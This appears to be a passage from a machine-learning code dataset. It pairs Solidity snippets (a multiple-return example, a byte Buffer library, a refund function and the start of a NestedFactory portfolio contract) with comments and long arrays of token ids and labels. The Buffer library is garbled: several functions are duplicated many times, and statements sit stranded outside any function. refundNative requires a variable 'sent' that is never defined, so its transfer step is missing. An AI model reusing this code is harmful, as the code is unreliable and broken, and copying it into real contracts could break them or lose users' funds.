-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "hardhat/console.sol";
contract MultiReturn {
function sum() public pure returns (uint) {
//Receiving multi return from function
(uint x, uint y) = getDataWithoutReturnStatement();
return x + y;
}
//Example to return multiple values using return statement
function getDataWithReturnStatement() internal pure returns(uint, uint) {
return (1, 2);
}
//Example to return multiple values without return statement
function getDataWithoutReturnStatement()
internal
pure
returns(uint a, uint b)
{
a = 1;
b = 2;
}
}
| Receiving multi return from function | function sum() public pure returns (uint) {
(uint x, uint y) = getDataWithoutReturnStatement();
return x + y;
}
| 893,960 | [
1,
4779,
9288,
3309,
327,
628,
445,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2142,
1435,
1071,
16618,
1135,
261,
11890,
13,
288,
203,
3639,
261,
11890,
619,
16,
2254,
677,
13,
273,
4303,
8073,
990,
3406,
5621,
203,
3639,
327,
619,
397,
677,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x4B4ca2f2Ad3A5464cC8c01ECe76c2951f3aBEFB2/sources/contracts/utility/Buffer.sol | * @dev A library for working with mutable byte buffers in Solidity. Byte buffers are mutable and expandable, and provide a variety of primitives for writing to them. At any time you can fetch a bytes object containing the current contents of the buffer. The bytes object should not be stored between operations, as it may change due to resizing of the buffer./ | library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint capacity) internal pure returns (buffer memory) {
if (capacity % 32 != 0) {
capacity += 32 - (capacity % 32);
}
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(32, add(ptr, capacity)))
}
return buf;
}
function init(buffer memory buf, uint capacity) internal pure returns (buffer memory) {
if (capacity % 32 != 0) {
capacity += 32 - (capacity % 32);
}
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(32, add(ptr, capacity)))
}
return buf;
}
buf.capacity = capacity;
function init(buffer memory buf, uint capacity) internal pure returns (buffer memory) {
if (capacity % 32 != 0) {
capacity += 32 - (capacity % 32);
}
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(32, add(ptr, capacity)))
}
return buf;
}
function writeRawBytes(
buffer memory buf,
uint off,
bytes memory rawData,
uint offData,
uint len
) internal pure returns (buffer memory) {
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, 32), off)
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(rawData, offData)
}
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function writeRawBytes(
buffer memory buf,
uint off,
bytes memory rawData,
uint offData,
uint len
) internal pure returns (buffer memory) {
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, 32), off)
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(rawData, offData)
}
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function writeRawBytes(
buffer memory buf,
uint off,
bytes memory rawData,
uint offData,
uint len
) internal pure returns (buffer memory) {
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, 32), off)
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(rawData, offData)
}
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function writeRawBytes(
buffer memory buf,
uint off,
bytes memory rawData,
uint offData,
uint len
) internal pure returns (buffer memory) {
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, 32), off)
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(rawData, offData)
}
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function writeRawBytes(
buffer memory buf,
uint off,
bytes memory rawData,
uint offData,
uint len
) internal pure returns (buffer memory) {
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, 32), off)
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(rawData, offData)
}
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function writeRawBytes(
buffer memory buf,
uint off,
bytes memory rawData,
uint offData,
uint len
) internal pure returns (buffer memory) {
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, 32), off)
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(rawData, offData)
}
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
uint mask = 256**(32 - len) - 1;
function writeRawBytes(
buffer memory buf,
uint off,
bytes memory rawData,
uint offData,
uint len
) internal pure returns (buffer memory) {
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, 32), off)
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(rawData, offData)
}
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function write(buffer memory buf, uint off, bytes memory data, uint len) internal pure returns (buffer memory) {
require(len <= data.length);
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, 32), off)
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(data, 32)
}
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function write(buffer memory buf, uint off, bytes memory data, uint len) internal pure returns (buffer memory) {
require(len <= data.length);
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, 32), off)
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(data, 32)
}
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function write(buffer memory buf, uint off, bytes memory data, uint len) internal pure returns (buffer memory) {
require(len <= data.length);
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, 32), off)
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(data, 32)
}
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function write(buffer memory buf, uint off, bytes memory data, uint len) internal pure returns (buffer memory) {
require(len <= data.length);
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, 32), off)
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(data, 32)
}
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function write(buffer memory buf, uint off, bytes memory data, uint len) internal pure returns (buffer memory) {
require(len <= data.length);
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, 32), off)
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(data, 32)
}
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function write(buffer memory buf, uint off, bytes memory data, uint len) internal pure returns (buffer memory) {
require(len <= data.length);
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, 32), off)
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(data, 32)
}
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
uint mask = 256**(32 - len) - 1;
function write(buffer memory buf, uint off, bytes memory data, uint len) internal pure returns (buffer memory) {
require(len <= data.length);
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, 32), off)
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(data, 32)
}
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, bytes memory data) internal pure returns (buffer memory) {
return write(buf, buf.buf.length, data, data.length);
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns (uint) {
if (a > b) {
return a;
}
return b;
}
function max(uint a, uint b) private pure returns (uint) {
if (a > b) {
return a;
}
return b;
}
}
| 3,173,874 | [
1,
37,
5313,
364,
5960,
598,
16074,
1160,
9664,
316,
348,
7953,
560,
18,
3506,
9664,
854,
16074,
471,
4542,
429,
16,
471,
5615,
279,
1394,
14369,
434,
23376,
364,
7410,
358,
2182,
18,
2380,
1281,
813,
1846,
848,
2158,
279,
1731,
733,
4191,
326,
783,
2939,
434,
326,
1613,
18,
1021,
1731,
733,
1410,
486,
506,
4041,
3086,
5295,
16,
487,
518,
2026,
2549,
6541,
358,
400,
6894,
434,
326,
1613,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
12083,
3525,
288,
203,
203,
565,
1958,
1613,
288,
203,
3639,
1731,
1681,
31,
203,
3639,
2254,
7519,
31,
203,
565,
289,
203,
203,
565,
445,
1208,
12,
4106,
3778,
1681,
16,
2254,
7519,
13,
2713,
16618,
1135,
261,
4106,
3778,
13,
288,
203,
3639,
309,
261,
16017,
738,
3847,
480,
374,
13,
288,
203,
5411,
7519,
1011,
3847,
300,
261,
16017,
738,
3847,
1769,
203,
3639,
289,
203,
3639,
19931,
288,
203,
5411,
2231,
6571,
519,
312,
945,
12,
20,
92,
7132,
13,
203,
5411,
312,
2233,
12,
4385,
16,
6571,
13,
203,
5411,
312,
2233,
12,
6723,
16,
374,
13,
203,
5411,
312,
2233,
12,
20,
92,
7132,
16,
527,
12,
1578,
16,
527,
12,
6723,
16,
7519,
20349,
203,
3639,
289,
203,
3639,
327,
1681,
31,
203,
565,
289,
203,
203,
203,
565,
445,
1208,
12,
4106,
3778,
1681,
16,
2254,
7519,
13,
2713,
16618,
1135,
261,
4106,
3778,
13,
288,
203,
3639,
309,
261,
16017,
738,
3847,
480,
374,
13,
288,
203,
5411,
7519,
1011,
3847,
300,
261,
16017,
738,
3847,
1769,
203,
3639,
289,
203,
3639,
19931,
288,
203,
5411,
2231,
6571,
519,
312,
945,
12,
20,
92,
7132,
13,
203,
5411,
312,
2233,
12,
4385,
16,
6571,
13,
203,
5411,
312,
2233,
12,
6723,
16,
374,
13,
203,
5411,
312,
2233,
12,
20,
92,
7132,
16,
527,
12,
1578,
16,
527,
12,
6723,
16,
7519,
20349,
203,
3639,
289,
203,
3639,
327,
1681,
31,
203,
565,
289,
203,
203,
203,
3639,
1681,
18,
16017,
273,
7519,
31,
203,
2
]
|
./full_match/1313161554/0x51e20134b7c11D9e868E0EE227BAbc429CA1c2e8/sources/contracts/facets/base/RangoBaseInterchainMiddleware.sol | @notice Transfers the native token from this contract to msg.sender @dev This endpoint is to return money to a user if we didn't handle failure correctly and the money is still in the contract @dev Currently the money goes to admin and they should manually transfer it to a wallet later @param _amount The amount of native token that should be transferred | function refundNative(uint256 _amount) external onlyOwner {
uint balance = address(this).balance;
require(balance >= _amount, 'Insufficient balance');
require(sent, "failed to send native");
emit Refunded(LibSwapper.ETH, _amount);
}
| 13,230,210 | [
1,
1429,
18881,
326,
6448,
1147,
628,
333,
6835,
358,
1234,
18,
15330,
225,
1220,
2494,
353,
358,
327,
15601,
358,
279,
729,
309,
732,
10242,
1404,
1640,
5166,
8783,
471,
326,
15601,
353,
4859,
316,
326,
6835,
225,
15212,
326,
15601,
13998,
358,
3981,
471,
2898,
1410,
10036,
7412,
518,
358,
279,
9230,
5137,
225,
389,
8949,
1021,
3844,
434,
6448,
1147,
716,
1410,
506,
906,
4193,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
16255,
9220,
12,
11890,
5034,
389,
8949,
13,
3903,
1338,
5541,
288,
203,
3639,
2254,
11013,
273,
1758,
12,
2211,
2934,
12296,
31,
203,
3639,
2583,
12,
12296,
1545,
389,
8949,
16,
296,
5048,
11339,
11013,
8284,
203,
203,
3639,
2583,
12,
7569,
16,
315,
7307,
358,
1366,
6448,
8863,
203,
203,
3639,
3626,
3941,
12254,
12,
5664,
12521,
457,
18,
1584,
44,
16,
389,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./abstracts/OwnableProxyDelegation.sol";
import "./abstracts/MixinOperatorResolver.sol";
import "./libraries/ExchangeHelpers.sol";
import "./interfaces/external/IWETH.sol";
import "./interfaces/INestedFactory.sol";
import "./FeeSplitter.sol";
import "./NestedReserve.sol";
import "./NestedAsset.sol";
import "./NestedRecords.sol";
import "./Withdrawer.sol";
import "hardhat/console.sol";
/// @title Creates, updates and destroys NestedAssets (portfolios).
/// @notice Responsible for the business logic of the protocol and interaction with operators
contract NestedFactory is INestedFactory, ReentrancyGuard, OwnableProxyDelegation, MixinOperatorResolver {
/* ----------------------------- VARIABLES ----------------------------- */
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/// @dev Supported operators by the factory contract
bytes32[] private operators;
/// @dev Current feeSplitter contract/address
FeeSplitter public feeSplitter;
/// @dev Current reserve contract/address
NestedReserve public immutable reserve;
/// @dev Current nested asset (ERC721) contract/address
NestedAsset public immutable nestedAsset;
/// @dev Wrapped Ether contract/address
/// Note: Will be WMATIC, WAVAX, WBNB,... Depending on the chain.
IWETH public immutable weth;
/// @dev Current records contract/address
NestedRecords public immutable nestedRecords;
/// @dev Helper to withdraw native tokens from wrapper
Withdrawer private immutable withdrawer;
/// @dev Fees when funds stay in portfolios
/// From 1 to 10,000 (0.01% to 100%)
uint256 public entryFees;
/// @dev Fees when funds are withdrawed
/// From 1 to 10,000 (0.01% to 100%)
uint256 public exitFees;
/* ---------------------------- CONSTRUCTOR ---------------------------- */
constructor(
NestedAsset _nestedAsset,
NestedRecords _nestedRecords,
NestedReserve _reserve,
FeeSplitter _feeSplitter,
IWETH _weth,
address _operatorResolver,
Withdrawer _withdrawer
) MixinOperatorResolver(_operatorResolver) {
require(
address(_nestedAsset) != address(0) &&
address(_nestedRecords) != address(0) &&
address(_reserve) != address(0) &&
address(_feeSplitter) != address(0) &&
address(_weth) != address(0) &&
_operatorResolver != address(0) &&
address(_withdrawer) != address(0),
"NF: INVALID_ADDRESS"
);
nestedAsset = _nestedAsset;
nestedRecords = _nestedRecords;
reserve = _reserve;
feeSplitter = _feeSplitter;
weth = _weth;
withdrawer = _withdrawer;
}
/// @dev Receive function
receive() external payable {
require(msg.sender == address(withdrawer), "NF: ETH_SENDER_NOT_WITHDRAWER");
}
/* ------------------------------ MODIFIERS ---------------------------- */
/// @dev Reverts the transaction if the caller is not the token owner
/// @param _nftId The NFT Id
modifier onlyTokenOwner(uint256 _nftId) {
require(nestedAsset.ownerOf(_nftId) == _msgSender(), "NF: CALLER_NOT_OWNER");
_;
}
/// @dev Reverts the transaction if the nft is locked (hold by design).
/// The block.timestamp must be greater than NFT record lock timestamp
/// @param _nftId The NFT Id
modifier isUnlocked(uint256 _nftId) {
require(block.timestamp > nestedRecords.getLockTimestamp(_nftId), "NF: LOCKED_NFT");
_;
}
/* ------------------------------- VIEWS ------------------------------- */
/// @notice Get the required operators
function resolverOperatorsRequired() public view override returns (bytes32[] memory) {
return operators;
}
/* -------------------------- OWNER FUNCTIONS -------------------------- */
/// @inheritdoc INestedFactory
function addOperator(bytes32 operator) external override onlyOwner {
require(operator != bytes32(""), "NF: INVALID_OPERATOR_NAME");
bytes32[] memory operatorsCache = operators;
for (uint256 i = 0; i < operatorsCache.length; i++) {
require(operatorsCache[i] != operator, "NF: EXISTENT_OPERATOR");
}
operators.push(operator);
rebuildCache();
emit OperatorAdded(operator);
}
/// @inheritdoc INestedFactory
function removeOperator(bytes32 operator) external override onlyOwner {
bytes32[] storage operatorsCache = operators;
uint256 operatorsLength = operatorsCache.length;
for (uint256 i = 0; i < operatorsLength; i++) {
if (operatorsCache[i] == operator) {
operatorsCache[i] = operators[operatorsLength - 1];
operatorsCache.pop();
if (operatorCache[operator].implementation != address(0)) {
delete operatorCache[operator]; // remove from cache
}
rebuildCache();
emit OperatorRemoved(operator);
return;
}
}
revert("NF: NON_EXISTENT_OPERATOR");
}
/// @inheritdoc INestedFactory
function setFeeSplitter(FeeSplitter _feeSplitter) external override onlyOwner {
require(address(_feeSplitter) != address(0), "NF: INVALID_FEE_SPLITTER_ADDRESS");
feeSplitter = _feeSplitter;
emit FeeSplitterUpdated(address(_feeSplitter));
}
/// @inheritdoc INestedFactory
function setEntryFees(uint256 _entryFees) external override onlyOwner {
require(_entryFees != 0, "NF: ZERO_FEES");
require(_entryFees <= 10000, "NF: FEES_OVERFLOW");
entryFees = _entryFees;
emit EntryFeesUpdated(_entryFees);
}
/// @inheritdoc INestedFactory
function setExitFees(uint256 _exitFees) external override onlyOwner {
require(_exitFees != 0, "NF: ZERO_FEES");
require(_exitFees <= 10000, "NF: FEES_OVERFLOW");
exitFees = _exitFees;
emit ExitFeesUpdated(_exitFees);
}
/// @inheritdoc INestedFactory
function unlockTokens(IERC20 _token) external override onlyOwner {
uint256 amount = _token.balanceOf(address(this));
SafeERC20.safeTransfer(_token, msg.sender, amount);
emit TokensUnlocked(address(_token), amount);
}
/* -------------------------- USERS FUNCTIONS -------------------------- */
/// @inheritdoc INestedFactory
function create(uint256 _originalTokenId, BatchedInputOrders[] calldata _batchedOrders)
external
payable
override
nonReentrant
{
uint256 batchedOrdersLength = _batchedOrders.length;
require(batchedOrdersLength != 0, "NF: INVALID_MULTI_ORDERS");
_checkMsgValue(_batchedOrders);
uint256 nftId = nestedAsset.mint(_msgSender(), _originalTokenId);
for (uint256 i = 0; i < batchedOrdersLength; i++) {
(uint256 fees, IERC20 tokenSold) = _submitInOrders(nftId, _batchedOrders[i], false);
_transferFeeWithRoyalty(fees, tokenSold, nftId);
}
